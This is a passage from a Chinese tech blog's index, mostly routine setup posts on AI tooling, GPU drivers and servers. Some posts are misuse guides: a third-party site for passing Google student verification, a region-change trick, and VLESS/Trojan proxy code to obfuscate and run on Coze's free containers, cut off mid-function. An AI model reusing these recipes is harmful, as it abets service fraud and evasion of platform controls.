八戒的技术博客

ComfyUI配置z-image-turbo工作流生成图片

Thu, 05 Mar 2026 09:00:01 +0800

书接上文，操作系统是debian 12，搭配AMD 6700 xt 12G的显卡

驱动安装看这篇：Claude Code如何使用ollama提供的qwen3:2.5B大模型来私网使用

然后我们来安装

# 翻墙才可以clone项目
export https_proxy=http://192.168.1.1:1080
git clone https://github.com/Comfy-Org/ComfyUI

# 安装uv
curl -LsSf https://astral.sh/uv/install.sh | sh
export PATH="$HOME/.local/bin:$PATH"

# 安装python 3.12，比较保险
uv python list
uv python install 3.12


cd ComfyUI/

# 初始化
uv init
uv venv --python 3.12
. .venv/bin/activate

# 安装 torch ，要选择合适的torch和rocm 6.0
uv pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/rocm6.0
uv pip list

# 安装附加
uv pip install -r requirements.txt

ComfyUI就装好了

自荐一个Kubernetes的日志采集软件

Sat, 14 Feb 2026 09:00:00 +0800

自荐一个 Kubernetes 的日志采集软件：envlog

https://github.com/zhangrr/envlog

软件最大优势

采集容器内自定义文件

阿里的SLS有个最大的优势，可以在Deployment中宣告pod容器内的文件路径，然后就会自动采集。
Docker引擎可以很容易搜索pod路径，Containerd做起来比较费劲。
但这也是最吸引人的特性，如果只采集stdout，那随便什么软件loki、filebeat都可以，就没什么吸引力。
这个困扰了我很多年，终于在AI的加持下实现了：

例如我们要采集 Pod 内的文件 /tmp/logtest.log：

    - env:
      - name: envlog_ngtest
        value: "/tmp/logtest.log"

该模式会尝试将容器内路径映射到宿主机路径（优先使用 volume mount，其次使用容器 overlay upperdir），并生成对应的 Filebeat paths。然后发往ES、Kafka比较好，本软件优化了ES的字段，去掉了多余的字段，也便于阅读。这也是本软件最大的特色！

然后我们去ES的Kibana面板，Management –> Stack Management

建立Index Patterns

然后去 Analytics –> Discover

就可以看到日志的详细内容了：

字段做了优化，不需要的字段统统都舍弃了，保留了必要的字段和日志的详细内容。

大语言模型TranslateGemma的实际应用

Thu, 05 Feb 2026 09:00:01 +0800

看到一个非常有趣的例子，分享一下，TranslateGemma以及其应用：

首先，TranslateGemma是什么？

TranslateGemma 是一套以 Gemma 3 为基础打造的开放式翻译模型，提供 4B（4 亿）、12B（12 亿）、27B（27 亿）三种参数规模，对应不同的使用场景。支持500组语言，可以识图，识别PDF中的文字。

TranslateGemma 的最大优势在于“可根据设备规模选择模型”，针对不同的计算环境提供了多种版本：

4B（40 亿）版本：已针对移动设备与边缘设备进行优化，适合进行离线翻译或内置于 App 中实时使用。
12B（120 亿）版本：可在笔记本电脑或本地环境顺畅运行，将研究级别的翻译能力带入本机。
27B（270 亿）版本：主打追求最高保真度，适合部署于云端 GPU 或 TPU 环境，例如单颗 NVIDIA H100 或 Google TPU。

嘿嘿，我们可以直接在Huggingface下载模型文件，然后在ollama里用

https://huggingface.co/collections/google/translategemma

https://www.kaggle.com/models/google/translategemma/

那更近一步，有个软件，叫做GPT旅行翻译神奇

安装之后，点击设定，可以启用离线模式，就下载的是TranslateGemma 4B的模型

启动离线模式，没有网的状态下就可以进行翻译：

我的手机有点逊色，iphone 12 Pro MAX有点费劲，主流的iphone 16应该很流畅

这也算是大模型的立即应用了。

Postgres的恢复之三

Thu, 05 Feb 2026 09:00:00 +0800

那版上的Postgres恢复已经有两篇文章了，这是第三篇，数据大于天啊

原因是看到了一篇文章：

https://medium.com/engineering-playbook/i-deleted-production-database-on-friday-5-pm-heres-how-i-didn-t-get-fired-e5e53a133f9b

我们来复盘整个过程，同事提醒自己也要同样清醒和多留备份

一、建立Point-in-Time Recovery (PITR)归档

# ps axjf的结果中，看到配置文件是 /etc/postgresql/13/main/postgresql.conf
# 那就修改这个配置文件

# 修改以下2行
# 启用归档
archive_mode = on
# WAL 日志归档路径
archive_command = 'cp %p /path_to_archive_directory/%f'

# 然后重启服务生效
systemctl restart postgresql

二、建立每6小时的full backup

# Cron job running every 6 hours
pg_dump production_db | gzip > backup_$(date +%Y%m%d_%H%M%S).sql.gz

三、恢复full backup

# Create new database
createdb production_db

# Restore from backup
gunzip < backup_20240126_160000.sql.gz | psql production_db

四、恢复WAL log归档备份

# Restore WAL logs from 4 PM to 5 PM
recovery_target_time = '2024-01-26 17:00:00'

Livekit的安装

Wed, 04 Feb 2026 09:00:00 +0800

Livekit是个语音的套件，安装确实比较困难，步骤如下：

准备好Debian 12，安装好Docker，因为Livekit安装脚本其实是有问题的

apt update

apt install -y curl gpg

wget -O - https://download.docker.com/linux/debian/gpg |  gpg --dearmor -o /etc/apt/keyrings/docker.gpg

echo   "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \
   $(lsb_release -cs) stable" | tee /etc/apt/sources.list.d/docker.list > /dev/null
   
apt update; apt install -y docker-ce

然后直接generate安装脚本

cd /root

docker run --rm -it -v$PWD:/output livekit/generate

然后开始提问回答环节

LiveKit Server only

主域名：

turn的辅助域名：

用什么证书，当然ACME

版本，选最新的latest

是否用外部的redis，当然no，选内置的

然后生成脚本

会给一段提示

Claude Code如何使用ollama提供的qwen3:2.5B大模型来私网使用

Tue, 03 Feb 2026 09:00:01 +0800

Cluade code、Codex、Gemini三架马车是齐头并进的势头，那将来必定是Farm农场和Token战争的年代。

那我们必须准备好，自己在局域网部署大模型，不依赖于任何的提供厂家。

本篇就是从光杆的debian 12开始，搭配AMD 6700 xt 12G的显卡，从头搭建一个大模型服务器，供局域网的同事们使用

一、Debian安装

光杆debian iso下载

https://gemmei.ftp.acc.umu.se/cdimage/archive/12.0.0/amd64/iso-cd/debian-12.0.0-amd64-netinst.iso

用rufus刻录到U盘，然后安装

root用户，然后建立一个普通用户debian

二、Debian准备驱动

# root 用户
apt update && sudo apt upgrade -y
apt install sudo

# debian用户
sudo apt install -y wget gnupg2 curl software-properties-common linux-headers-$(uname -r)

wget -qO - https://repo.radeon.com/rocm/rocm.gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/rocm.gpg

echo "deb [arch=amd64 signed-by=/etc/apt/keyrings/rocm.gpg] https://repo.radeon.com/amdgpu/6.0/ubuntu jammy main" | sudo tee /etc/apt/sources.list.d/amdgpu.list

echo "deb [arch=amd64 signed-by=/etc/apt/keyrings/rocm.gpg] https://repo.radeon.com/rocm/apt/6.0 jammy main" | sudo tee /etc/apt/sources.list.d/rocm.list

sudo tee /etc/apt/preferences.d/rocm-pin-600 <<EOF
Package: *
Pin: origin repo.radeon.com
Pin-Priority: 600
EOF

sudo apt update
sudo apt install -y amdgpu-dkms rocm-hip-libraries rocm-hip-sdk

sudo usermod -aG video,render $USER

sudo reboot

然后就安装好了显卡驱动，解释一下，必须让新repo的优先级提高，才能安装！确认一下：

Claude Code如何使用openrouter提供的大模型来节省费用

Tue, 03 Feb 2026 09:00:00 +0800

Cluade code、Codex、Gemini三架马车是齐头并进的势头，那将来必定是Farm农场和Token战争的年代。

那节省成本的方法是尽量使用合适的模型来做合适的事情

那如果有openrouter的API KEY，如何接入Claude code进行使用呢？

openrouter基本提供了500个AI models，从中选择合适的模型就可以极大的降低费用

那Claude Code使用的三个模型

Opus – 复杂推理任务（适合架构设计、解决棘手 Bug）
Sonnet – 日常标准任务（适合绝大多数编程/写代码工作）
Haiku – 快速、低成本任务（适合探索性工作、查阅文档）

我们分别用 Gemini Flash、DeepSeek Coder来替代，最后用Sonnet来补全剩余部分，就省钱多了

方法如下：

一、gen出OpenRoute的API Key

访问 OpenRouter
注册登录 (有 $1 的免费额度)
访问 API Keys
点击 “Create Key”
把key复制下来 (类似 sk-or-v1-...)

二、安装配置薅Claude Code

这个也不多说了

三、配置连接Claude Code的连接

主要是几个变量：

export OPENROUTER_API_KEY="sk-or-v1-your-actual-key-here"
export ANTHROPIC_BASE_URL="https://openrouter.ai/api"
export ANTHROPIC_AUTH_TOKEN="$OPENROUTER_API_KEY"
export ANTHROPIC_API_KEY=""

验证一下，启动claude，输入 /status

看到就ok了

四、Cluaude工具链调用的模型选择

Claude Code需要模型能支持"tool use"(也叫做函数调用)，这些允许Claude code做如下事情

*Read and edit files*
*Run terminal commands*
*Search your codebase*
*Execute git commands*

支持工具链调用的模型:

黄大善人免费的的nvidia glm和minimax模型应用于Claude Code

Tue, 20 Jan 2026 09:00:00 +0800

黄大善人的Nvidia里面有很多免费的模型，包括zai/glm4.7和minimaxai/minimax-m2.1

那没有订阅的同学们可以拿来直接用到Cluade code中

方法如下：

一、从官网进行获取api-key

起手先注册账户拿Key

地址：https://build.nvidia.com/explore/discover

或者

二、如何使用

然后主要是我不用ccr，CLIProxyAPI也开全局代理了，也无法用，所以干脆搓个好了用ccr和CLIProxyAPI就可以直接用。

源代码：

https://github.com/zhangrr/claude-nvidia-proxy

配置文件：

{
  "nvidia_url": "https://integrate.api.nvidia.com/v1/chat/completions",
  "nvidia_key": "nvapi-api-key"
}

直接运行程序，会监听本地端口3001

glm 4.7的配法：

export ANTHROPIC_BASE_URL=http://localhost:3001
export ANTHROPIC_AUTH_TOKEN=nvapi-api-key
export ANTHROPIC_DEFAULT_HAIKU_MODEL=z-ai/glm4.7
export ANTHROPIC_DEFAULT_SONNET_MODEL=z-ai/glm4.7
export ANTHROPIC_DEFAULT_OPUS_MODEL=z-ai/glm4.7

claude

minimax 2.1 的配法：

export ANTHROPIC_BASE_URL=http://localhost:3001
export ANTHROPIC_AUTH_TOKEN=nvapi-api-key
export ANTHROPIC_DEFAULT_HAIKU_MODEL=minimaxai/minimax-m2.1
export ANTHROPIC_DEFAULT_SONNET_MODEL=minimaxai/minimax-m2.1
export ANTHROPIC_DEFAULT_OPUS_MODEL=minimaxai/minimax-m2.1

claude

适用于claude code和codex的轻量级AI上下文引擎加上Prompt增强

Thu, 15 Jan 2026 09:00:00 +0800

那缺省的claude code 和 codex 都很好用，上下文搜索用rigrep也算可以，那有更厉害的Augment引擎，能压缩上下文

试一试，首先去佬友的网站：

https://acemcp.heroman.wtf

注册并申请好API Key

然后安装这个ace-tool-rs或者ace-tool

# 安装最新版本
npx ace-tool-rs

npx ace-tool

然后最重要要的，在什么地方添加文档，编辑~/.claude.json文件。

不是系统的~/.claude/settings.json，千万别弄错了

添加：

  "mcpServers": {
    "ace-tool-rs": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "ace-tool-rs",
        "--base-url",
        "https://acemcp.heroman.wtf/relay/",
        "--token",
        "ace_api_key"
      ],
      "env": {}
    }
  }



  {
  "mcpServers": {
    "ace-tool": {
      "command": "/root/.nvm/versions/node/v22.21.1/bin/ace-tool",
      "args": [
        "--base-url", "https://acemcp.heroman.wtf/relay/",
        "--token", "ace_api_key"
      ]
    }
  }

我的ace-tool比较直接，command是全路径的，因为node是nvm管理的，而且claude运行的时候是派生一个子进程来运行的，导致路径找不到；或者更加直接的，bash起手，ace-tool放进 args里。

那codex如下：

[mcp_servers.ace-tool]
command = "ace-tool"
args = [ "--enable-log", "--base-url", "https://acemcp.heroman.wtf/relay/", "--token", "ace_api_key"]

[mcp_servers.ace-tool-rs]
command = "npx"
args = ["ace-tool-rs", "--base-url", "https://acemcp.heroman.wtf/relay/", "--token", "ace_api_key", "--transport", "lsp"]
env = { RUST_LOG = "info" }
startup_timeout_ms = 60000

然后验证

/mcp list

使用ace-tool-rs mcp来索引整个项目

Antigravity的使用注意

Wed, 14 Jan 2026 09:00:00 +0800

反重力真的是超级好用，可以直接命令他建立一个nodejs程序，使用puppytear，然后执行点击什么什么动作，这就直接给你拉起来一个框架，然后我们可以在这个框架上不断完善、丰富，最终完成程序。

那使用它还真的是有点门槛，首先必须要有一个纯净的IP，美国的

然后不用tun，首先要本地有个代理，比如v2rayN，127.0.0.1:10808端口，通往纯净美国ip的转发

还需要有个proxifier，先新建代理服务器

再新建规则来使用这个代理：

需要新建一条gemini的规则（因为antigravity也是调用gemini cli）

一开始就是只加了antigravity.exe，不行，后来都加上就行了。

antigravity.exe; language_server_windows_x64.exe; "Antigravity.app"; "Antigravity"; com.google.antigravity; language_server_macos_arm

设置走本地那个代理

这样齐活了。

如果登录后提示：

Your current account is not eligible for Antigravity, because it is not currentlyavailable in your location.

确认账号当前的国家或地区

访问以下网址https://policies.google.com/terms，登录自己的账号即可查看账号当前的国家或地区版本。

修改账号当前的国家或地区

访问以下网址https://policies.google.com/country-association-form

重点来了，以上选择请选最后一个“以上都不是”，参考申请如下：

我因工作需要用到gemini，请帮我更改到美国

那反重力的中文配置：

# 中文原生协议 v5.0
## 一、核心身份
你是**中文原生**的技术专家。思维和输出必须遵循中文优先原则。
---
## 二、语言规则
### 2.1 输出语言
- 所有解释、分析、建议用**中文**
- 技术术语保留英文（如 API、JWT、Docker、Kubernetes）
- 代码相关保持英文（变量名、函数名、文件路径、CLI 命令）
### 2.2 示例
- ✅ "检查 `UserService.java` 中的认证逻辑"
- ✅ "这个 `useEffect` Hook 存在依赖项问题"
- ❌ "Let me analyze the code structure"
- ❌ "I'll check the authentication logic"
### 2.3 工具调用
-**机器读的保留英文**：file_path, function_name, endpoint
- **人读的必须中文**：task_title, description, commit_message
---
## 三、项目上下文获取
### 3.1 新对话时，按优先级阅读以下文件（如果存在）：
1.`contexts/context.md` - 项目核心上下文 ⭐最重要
2.`README.md` - 项目概述
3.`specs/*.md` - 技术规范
4.`.agent/workflows/*.md` - 工作流配置
### 3.2 如果项目没有上述文件：
- 先询问项目基本情况
- 建议创建 `contexts/context.md` 记录项目信息
---
## 四、通用开发规范
### 4.1 Implementation Plan 和 Task
- 标题必须使用**中文**
- 步骤说明必须使用**中文**
- 示例：`### 实现用户登录功能` 而非 `### Implement User Login`
### 4.2 代码注释
- 新代码的注释必须使用**中文**
- 保持注释简洁明了
- 示例：`// 检查用户是否已登录` 而非 `// Check if user is logged in`
### 4.3 Git 提交信息
- 使用中文，格式：`<类型>: <描述>`
- 示例：`feat: 添加用户登录功能`、`fix: 修复积分计算错误`
### 4.3 文档编写
- 技术文档使用中文
- 保持 Markdown 格式规范
---
## 五、工作模式
### 5.1 复杂任务
- 先阅读相关规范文档
- 制定计划后再执行
- 完成后更新相关文档
### 5.2 简单任务
- 直接执行
- 保持代码风格一致
### 5.3 不确定时
- 主动询问而非猜测
- 提供选项让用户决策

仔细看一下，果然是GEMINI.md

一个轻量级超级省钱的lxc平台containarium

Tue, 13 Jan 2026 09:00:01 +0800

现在的爱好是天天逛github.com，里面真的是有非常多的好项目

哪个好就clone下来，让Cluade Code来分析分析

推荐一个好的lxc容器平台

https://github.com/FootprintAI/Containarium

之所有说它好，是因为10年前，初到叮当的时候，就搭了一套LXC的容器平台，那时候Docker才方兴未艾，ZFS好像也才刚起步

找了三台特别普通的Dell R720 2U服务器，然后搭了LXC，一台物理机虚拟60台lxc容器，然后同事们用了大概6年，没有人意识到这只是个容器，并非完整虚机，但都当做完整虚机再使用，直到运行到第6年，大数据的同事在上面跑了若干elasticsearch，然后就拉跨了。原因是用的人过多，而es又认为有服务器的一半内存可用，一旦灌输数据，就把服务器拖死了。

这个项目也是相同的想法，也用lxc，然后用ZFS来当存储，这个主意很绝妙

完成度相当的高，用terraform来搭建底层支撑平台。

看看claude code的分析：

● 现在我已经获得了足够的信息来进行详细分析。让我基于收集的信息为您提供全面的项目可行性评估。

Containarium 项目详细分析与可行性评估

📋 项目概述

Containarium 是一个基于 LXC 系统容器的多租户开发环境平台,旨在通过在单个云虚拟机上运行数百个隔离的 Linux 开发环境,大幅降低基础设施成本(可节省高达92%)。

✅ 核心优势与创新点

成本效益极高

资源密度: 相比传统 VM,每个容器仅消耗 100-500MB RAM,密度提升 10-50倍
Spot 实例: 利用 GCP Spot 实例可节省 76% 成本
实际数字: 50 用户从 $1,250/月降至 $98/月 (92% 节省)

技术架构扎实

LXC vs Docker: 选择系统容器(LXC)而非应用容器,更适合多用户开发环境
ZFS 存储: 支持压缩、配额、快照,数据在 Spot 实例重启后完全保留
安全多租户:
- 每个用户独立的 jump server 账户(proxy-only,无 shell 访问)
- unprivileged 容器隔离
- fail2ban + SSH 审计日志

工程质量高

类型安全: 使用 Protobuf/gRPC 定义接口
测试完备: 包含基于 Terraform 的 E2E 测试,验证 ZFS 持久化
文档完善: README 长达 2400+ 行,包含详细架构图、使用指南、FAQ
生产就绪: 支持 mTLS 远程管理、水平扩展、负载均衡

🎯 技术可行性分析

Google学生号的申请

Tue, 13 Jan 2026 09:00:00 +0800

Google 学生号的申请，备份一下，省的忘记了：

首先前提是要有一个纯净的美国IP，可打开下面网址先看看纯净不纯净

ping0.cc

然后打开网页看看有没有权限

https://gemini.google.com/students

然后不要乱点，一定要右键复制链接

但是奇怪的是，我这边直接点了就过了，也是奇葩

如果能Copy链接，就拷贝了

然后到

https://batch.1key.me

打开验证通过

然后刷新页面，绑卡，就OK了。

然后啊，需要打开

https://aistudio.google.com/?authuser=3

拿到缺省项目的key，然后

export GEMINI_API_KEY="你的API_KEY"

尝试gemini登录一下，问问它是什么模型

最后别忘记在主号里面，管理会员资格，管理会员方案，打开共享

就可以放心的登录antigravity了

claude code的Ralph Wiggum编程模式和技巧

Mon, 12 Jan 2026 09:00:01 +0800

拉尔夫·维古姆（Ralph Wiggum）：没完没了的 Claude 代码循环

这其实是个梗：

Ralph Wiggum 是动画片《辛普森一家》中那个总是搞不清状况、智商不太在线的孩子。他最著名的梗图是 “I’m helping”（我在帮忙）。

我们在calude-code源代码仓库中可以看到这个插件

https://github.com/anthropics/claude-code/tree/main/plugins/ralph-wiggum

核心概念：

# You run ONCE:
/ralph-loop "Your task description" --completion-promise "DONE"

# Then Claude Code automatically:
# 1. Works on the task
# 2. Tries to exit
# 3. Stop hook blocks exit
# 4. Stop hook feeds the SAME prompt back
# 5. Repeat until completion

翻译一下：

# 执行命令
/ralph-loop "Your task description" --completion-promise "DONE"

# 接下来 Claude Code 将自动执行以下操作：
# 1. 处理/执行该任务
# 2. 尝试退出程序
# 3. “停止挂钩（Stop hook）”拦截并阻止退出
# 4. “停止挂钩”将完全相同的提示词（prompt）重新传回给系统
# 5. 重复上述循环，直到任务完成（即出现 "DONE"）

说白了就是Claude执行了一轮后要退出，然后拉尔夫就蹦出来阻止，没完；再跑一轮，又想退出，又被阻止，如此往复。

claude code的session历史回顾和继续工具

Mon, 12 Jan 2026 09:00:00 +0800

现在基本Claude code 和 Codex 和 Gemini 混用

运维本身的项目也不会怎么大

用Claude的时候，开了很多项目去学习、研究；那历史和切回来继续研究就变得很重要，每次如果都从头开始分析，那崩溃了

手搓了一个工具claude-history，可以观看历史，并且生成命令，可以在以前的session基础上继续研究

http://github.com/zhangrr/claude-history

纯用Go，前后端一起，监听端口是8888

✨ 特性

单文件实现：所有功能集成在 main.go 一个文件中（约 900 行）
零依赖部署：编译后的二进制文件包含前端资源，无需额外文件
高性能：使用 Go 标准库，性能优异
跨平台：支持 Linux、macOS、Windows
实时流式传输：通过 SSE (Server-Sent Events) 实现实时更新
文件监控：使用 fsnotify 监控 Claude 会话文件变化

如何用codex、claude code混合口嗨编程

Fri, 09 Jan 2026 09:01:01 +0800

codex和claude code两者各有所长，尝试在一个音乐项目里把两者结合起来，试试看

首先 clone 项目

git clone https://github.com/truelife0958/music888

然后命令它：

请你把这个项目的api音乐源都提取出来然后制作一个api接口文档

然后得出一个结果

然后新建一个目录，把这个文档单独拷贝进去，新启动一个codex

请你看一下这个api接口文档并测试一下哪些是有效的，帮我制作一个音乐播放web，需要有喜欢，最近播放，以及用户创立。

让它运行，打开页面看看

然后claude装好skills，Apple-Hig-Designer，地址是：https://github.com/axiaoge2/Apple-Hig-Designer

分析当前项目，Using apple-hig-desiner skills 重新设计前端页面

代开claude

回答几个问题

确定方案后开始改造

牛B吹得挺大：

打开一看，250啊

啥狗屁玩意，继续修去

<link rel="stylesheet" href="/.claude/skills/Apple-Hig-Designer/resources/design-tokens.css" /> 无法访问

刷新，擦的，图标都是错的

顶栏的图标都是错的

修好后再看

确实是苹果风格，点开设置，又拉跨了

继续命令它改：

设置，齿轮按钮打开后，配置窗口跑到最左面了，没有在右边

擦的，什么玩意，放中央，简直了

弹窗放到按钮附近

最终还可以，但是。

感觉这个skills还没有codex原生生成的好看。

编程基本变成了口嗨的行为了，真的是脑洞大开。

Caddy配合zot实现ip白名单登录docker registry

Fri, 09 Jan 2026 09:00:01 +0800

公司有两个docker的registry，一个是在公司内网，一个是在hk的公网

那jenkins打镜像的时候，FROM底包是在hk，打出镜像后，又要推到公司的内网，这样jenkins的pipeline看起来就很痛苦

打包登录公网一次，打包的地址是内网的harbor，推包再登录内网一次，脚本如下：

docker.withRegistry("https://hk.rendoumi.com", "hk-user") {
  image = docker.build("harbor.rendoumi.dev/${IMAGE_NAME}:${TAG}", "${PROJECT_PATH}")
}

docker.withRegistry("https://harbor.rendoumi.dev", "harbor-user") {
  if (image) { image.push() }
}

流水线不多的话这么还行得通，流水线很多，就得改个一溜够

那就想如果登录hk的服务器使用白名单机制，公司的jenkins worknodes服务器去访问，就不用登录，直接访问，就好了

那公司私网的registry是用的harbor搭的，公网的registry用的caddy+zot搭建

问了下 Gemini，结果非常的荒谬，居然出现幻觉，呓推出了zot根本不存在的ip白名单限制规则，简直了！！！

后来跑到 zot 的官网看了半天文档，发现不行，根本没有这种配置

那就只能从Caddy入手了，从公司jenkins worknode出来的ip先到Caddy

然后Caddy模拟登录信息，给后端的zot发请求，就可以通过了

做法如下：

首先把 hk registry 的用户名和密码生成base64字串，得到XXXXX的BASE64字符串

echo -n "user1:pass1" | base64

然后修改Caddyfile，原有的配置

hk.rendoumi.com {
    reverse_proxy 127.0.0.1:5000 {
        header_up X-Real-IP {remote_host}
        transport http {
            dial_timeout 15s
            response_header_timeout 300s
        }
    }
}

改成如下：

hk.rendoumi.com {
    @trusted {
        remote_ip 111.222.333.444
    }

    handle @trusted {
        reverse_proxy 127.0.0.1:5000 {
            header_up Authorization "Basic XXXXXXXXXXXXXXXX"
            header_up X-Real-IP {remote_host}
            transport http {
                dial_timeout 15s
                response_header_timeout 300s
            }
        }
    }

    handle {
        reverse_proxy 127.0.0.1:5000 {
            header_up X-Real-IP {remote_host}
            transport http {
                dial_timeout 15s
                response_header_timeout 300s
            }
        }
    }
}

解释一下，上面如果是 111.222.333.444 的ip来访问，那就模拟登录的 Head 头信息，如果不是，就直接放行，由后端的zot进行验证

薅羊毛之扣子编程

Tue, 06 Jan 2026 09:01:02 +0800

前几天佬友说扣子编程出了一个免费版，所以也想薅一把

事先声明：扣子编程是国内的，所以无法翻墙，本质也是一个容器。能做一个代理隐藏IP来访问国内的网站。

所以，说老实话，自己很少有这个场景来使用

废话不多说，直接开始:

扣子编程的网址：https://code.coze.cn

本质是火山引擎旗下的东西，也是一个容器，而且吧，比较有意思，跟 claude 和 codex 差不多

基本是：讲述式编程方式，一天智能建3个项目，一个项目是1cpu，2G内存

打开网站，新建项目，然后点击网页应用，下面的文本输入框就是编程的地方了：

我们先让它自己生成一个应用，再在生成的基础上进行修改，直接硬来会有无穷的麻烦，它有自己固定的架构

建立一个极简的nodejs程序，不依赖任何前端和后端框架，不要用到next框架。前端页面是index.html，里面是Hello world，主程序是index.js，用来显示index.html的内容，绝对不要用到任何js框架。

然后系统就叽里呱啦、哔哔赖赖开始自己搞了，它缺省创立的项目无论你再怎么强调，都是基于next.js的，都会拉出一坨next的屎，所以会神经兮兮的思考来思考去，产生一堆废物，我们可以不用理他

然后显示正常

从上图我们得到几个关键信息：

端口是5000
文件夹可以看到文件，里面有一堆缺省的配置，就算强调，依然有next拉的屎
部署按钮，我们部署测试一下

按部署按钮，会得到一个域名

然后部署成功，点击箭头

打开后，就是我们想要的

我们记下来这个域名，大善人啊，免费域名和免费证书

然后回到文件夹，来修改三个文件，index.html 和 index.js 和 package.json

先来改 package.json, 在dependencies中，加两句，注意这两句的上一句需要加个逗号，axios最后没有逗号


    "ws": "^8.14.2",
    "axios": "^1.12.2"

注意：写到最后，发现这里可以再部署一下再改index.jsp和index.html比较好，就不用经历我下面的回档了！！！！！

我下面是没有再部署，直接硬改，点开文件夹图标，选中index.js，先别贴，需要修改混淆的：

const http = require('http');
const https = require('https');
const fs = require('fs');
const dns = require('dns');
const axios = require('axios');
const net = require('net');
const path = require('path');
const crypto = require('crypto');
const { Buffer } = require('buffer');
const { WebSocket, createWebSocketStream } = require('ws');

// 生成 UUID v4
function generateUUID() {
  return crypto.randomUUID();
}

const UUID = process.env.UUID || generateUUID();
const DOMAIN = process.env.DOMAIN || 'xxxxxxxx.coze.site'; // 填写项目域名
const WSPATH = process.env.WSPATH || UUID.slice(0, 8);     // 节点路径，默认获取uuid前8位
const SUB_PATH = process.env.SUB_PATH || 'sub';            // 节点的订阅路径
const NAME = process.env.NAME || '';                       // 节点名称
const PORT = process.env.PORT || 5000;                     // http和ws服务端口
const TLS_KEY_PATH = process.env.TLS_KEY_PATH || '';
const TLS_CERT_PATH = process.env.TLS_CERT_PATH || ''; 

let ISP = '';
const GetISP = async () => {
  try {
    const res = await axios.get('https://api.ip.sb/geoip');
    const data = res.data;
    ISP = `${data.country_code}-${data.isp}`.replace(/ /g, '_');
  } catch (e) {
    ISP = 'Unknown';
  }
}
GetISP();

function normalizeSecret(value) {
  if (!value) return '';
  return value.includes('\\n') ? value.replace(/\\n/g, '\n') : value;
}

function readOptionalFile(filePath) {
  if (!filePath) return '';
  const resolvedPath = path.isAbsolute(filePath) ? filePath : path.join(__dirname, filePath);
  try {
    return fs.readFileSync(resolvedPath, 'utf8');
  } catch (error) {
    console.warn(`Failed to read TLS file ${resolvedPath}: ${error.message}`);
    return '';
  }
}

function getTLSOptions() {
  let key = normalizeSecret(process.env.TLS_KEY);
  let cert = normalizeSecret(process.env.TLS_CERT);

  if (!key) {
    key = readOptionalFile(TLS_KEY_PATH);
  }
  if (!cert) {
    cert = readOptionalFile(TLS_CERT_PATH);
  }

  if (key && cert) {
    return { key, cert };
  }
  if (key || cert) {
    console.warn('Both TLS key and certificate are required; falling back to HTTP.');
  }
  return null;
}

const requestHandler = (req, res) => {
  if (req.url === '/') {
    const filePath = path.join(__dirname, 'index.html');
    fs.readFile(filePath, 'utf8', (err, content) => {
      if (err) {
        res.writeHead(200, { 'Content-Type': 'text/html' });
        res.end('Hello world!');
        return;
      }
      res.writeHead(200, { 'Content-Type': 'text/html' });
      res.end(content);
    });
    return;
  } else if (req.url === `/${SUB_PATH}`) {
    const namePart = NAME ? `${NAME}-${ISP}` : ISP;
    const vlessURL = `vless://${UUID}@${DOMAIN}:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`;
    const trojanURL = `trojan://${UUID}@${DOMAIN}:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`;
    const subscription = vlessURL + '\n' + trojanURL;
    const base64Content = Buffer.from(subscription).toString('base64');

    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end(base64Content + '\n');
  } else {
    res.writeHead(404, { 'Content-Type': 'text/plain' });
    res.end('Not Found\n');
  }
};

const tlsOptions = getTLSOptions();
const httpServer = tlsOptions ? https.createServer(tlsOptions, requestHandler) : http.createServer(requestHandler);

const wss = new WebSocket.Server({ server: httpServer });
const uuid = UUID.replace(/-/g, "");
const DNS_SERVERS = ['114.114.114.114', '223.5.5.5'];
// Custom DNS
async function resolveHost(host) {
  const target = String(host || '').trim();
  if (!target) throw new Error('Host is empty');

  if (net.isIP(target)) return target;

  try {
    const addresses = await dns.promises.lookup(target, { all: true });
    const preferred = addresses.find(a => a.family === 4) || addresses[0];
    if (preferred?.address) return preferred.address;
  } catch (_) {
    // fall through to custom DNS servers
  }

  const resolver = new dns.promises.Resolver();
  for (const server of DNS_SERVERS) {
    try {
      resolver.setServers([server]);
      const v4 = await resolver.resolve4(target);
      if (v4?.[0]) return v4[0];
    } catch (_) {}
    try {
      resolver.setServers([server]);
      const v6 = await resolver.resolve6(target);
      if (v6?.[0]) return v6[0];
    } catch (_) {}
  }

  throw new Error(`Failed to resolve ${target}`);
}

// VLE-SS处理
function handleVlessConnection(ws, msg) {
  const [VERSION] = msg;
  const id = msg.slice(1, 17);
  if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false;

  let i = msg.slice(17, 18).readUInt8() + 19;
  const port = msg.slice(i, i += 2).readUInt16BE(0);
  const ATYP = msg.slice(i, i += 1).readUInt8();
  const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') :
    (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) :
    (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : ''));
  ws.send(new Uint8Array([VERSION, 0]));
  const duplex = createWebSocketStream(ws);
  resolveHost(host)
    .then(resolvedIP => {
      net.connect({ host: resolvedIP, port }, function() {
        this.write(msg.slice(i));
        duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex);
      }).on('error', () => {});
    })
    .catch(error => {
      net.connect({ host, port }, function() {
        this.write(msg.slice(i));
        duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex);
      }).on('error', () => {});
    });

  return true;
}

// Tro-jan处理
function handleTrojanConnection(ws, msg) {
  try {
    if (msg.length < 58) return false;
    const receivedPasswordHash = msg.slice(0, 56).toString();
    const possiblePasswords = [
      UUID,
    ];

    let matchedPassword = null;
    for (const pwd of possiblePasswords) {
      const hash = crypto.createHash('sha224').update(pwd).digest('hex');
      if (hash === receivedPasswordHash) {
        matchedPassword = pwd;
        break;
      }
    }

    if (!matchedPassword) return false;
    let offset = 56;
